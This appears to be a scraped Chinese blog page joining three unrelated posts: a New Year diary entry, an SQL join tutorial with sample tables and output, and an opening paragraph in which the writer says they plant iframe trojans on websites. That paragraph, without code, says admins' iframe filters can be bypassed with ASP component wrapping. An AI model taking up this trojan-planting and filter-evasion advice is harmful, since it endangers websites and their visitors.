我 记得某期rabbitsafe兄弟写了一篇屏蔽iframe挂马的文章,其实以前管理员也是这么对我的,这东西还不错,要是配上我的组件封包这样调用,那 效果更佳了。为什么呢?因为管理员把iframe标签当成是测品,我们挂马的人碰到那样屏蔽的代码也和管理员一样,看见了就测,所以攻防永远是个永恒的话 题。呵呵,希望管理员能利用上ASP封包组件来调用屏蔽IFRAME,这样能更大的程度上保护网站的访问用户。
新年第一天
2011年已经成为往事,总结起来,过去的一年还是收获很多的,开始了自己喜欢的专业课,对网安有了理论加实际上的初步认识,从网络部退下来半年,看着小孩儿的成长,心里有了一点儿做父母的感觉,还有就是博客在新年以前出炉啦,当然还在调试,呵呵,不过也有不爽的事情,比如说哥的新浪微博,密码危机波及得很严重啊,呵呵,不管它了,总之,还是很好的一年~ 2012年已经到来了,还是很期待的呀,这学期课程很诱人啊,期待中~ 然后就慢慢努力吧,为了自己所喜欢的~呵呵,世界末日什么的,浮云浮云~ 就是因为末日,才更要让自己做不后悔的事,嗯嗯,一切努力…(其实发这篇日志主要是测试手机发日志的效果的,哈哈~)
sql语句的join用法
sql的join分为三种,内连接、外连接、交叉连接。
以下先建2张表,插入一些数据,后续理解起来更方便一些。
create table emp(empno int, name char(20),depart int);
create table depart(dpno int,dpname char(20));
insert into emp values (1,'bell',1);
insert into emp values (2,'smith',2);
insert into emp values (3,'jet',3);
insert into depart values (1,'design');
insert into depart values (2,'database');
insert into depart values (4,'warehouse');
1. 内连接inner join 仅列出两表能按照join条件连接起来的信息,其他的信息不显示
select a.*,b.* from emp a inner join depart b on a.depart=b.dpno;
empno name depart dpno dpname
----------------------------------------------------------------------
1 bell 1 1 design
2 smith 2 2 database
和如下语句得到的信息是一样的:
select a.*,b.* from emp a,depart b where a.depart=b.dpno;
2. 外连接outer join
(1)左外连接left outer join = left join 显示左表的所有记录,右表符合join条件的信息显示,不符合的置空。
select a.*,b.* from emp a left join depart b on a.depart=b.dpno;
empno name depart dpno dpname
----------------------------------------------------------------------
1 bell 1 1 design
2 smith 2 2 database
3 jet 3
(2)右外连接right outer join = right join 和left join相反,显示右表的所有记录,左表符合join条件的信息显示,不符合的置空。
select a.*,b.* from emp a right join depart b on a.depart=b.dpno;
empno name depart dpno dpname
----------------------------------------------------------------------
1 bell 1 1 design
2 smith 2 2 database
4 warehouse
(3)全外连接full outer join = full join ,左右两表的信息都全部显示,符合join条件的信息显示,不符合的置空。
select a.*,b.* from emp a full join depart b on a.depart=b.dpno;
empno name depart dpno dpname
----------------------------------------------------------------------
1 bell 1 1 design
2 smith 2 2 database
4 warehouse
3 jet 3
3.交叉连接,也即生成两表的笛卡尔积。得到的记录相当于两表记录的乘积。
select a.*,b.* from emp a cross join depart b ;
empno name depart dpno dpname
----------------------------------------------------------------------
1 bell 1 1 design
2 smith 2 1 design
3 jet 3 1 design
1 bell 1 2 database
2 smith 2 2 database
3 jet 3 2 database
1 bell 1 4 warehouse
2 smith 2 4 warehouse
3 jet 3 4 warehouse
相当于如下语句:
select a.*,b.* from emp a,depart b;
需要注意的是交叉连接后只能跟where,不可以跟on。
如下语句是错的:
select a.*,b.* from emp a cross join depart b on a.depart=b.dpno;
要修改为这样的才正确:
select a.*,b.* from emp a cross join depart b where a.depart=b.dpno;
一般来讲,在大表关联的时候,建议使用inner join或者left join,不建议使用cross join或者where
比如:
select a.*,b.* from emp a,depart b where a.depart=b.dpno ; A ---不推荐
select a.*,b.* from emp a cross join depart b where a.depart=b.dpno ; B ---不推荐
select a.*,b.* from emp a inner join depart b on a.depart = b.dpno; C ----推荐
这是因为A,B中,sql需要先对两表生成笛卡尔积,然后才根据where后的条件进行判断,而使用C则不需要。所以C较有效率
摘自 猫叔的口粮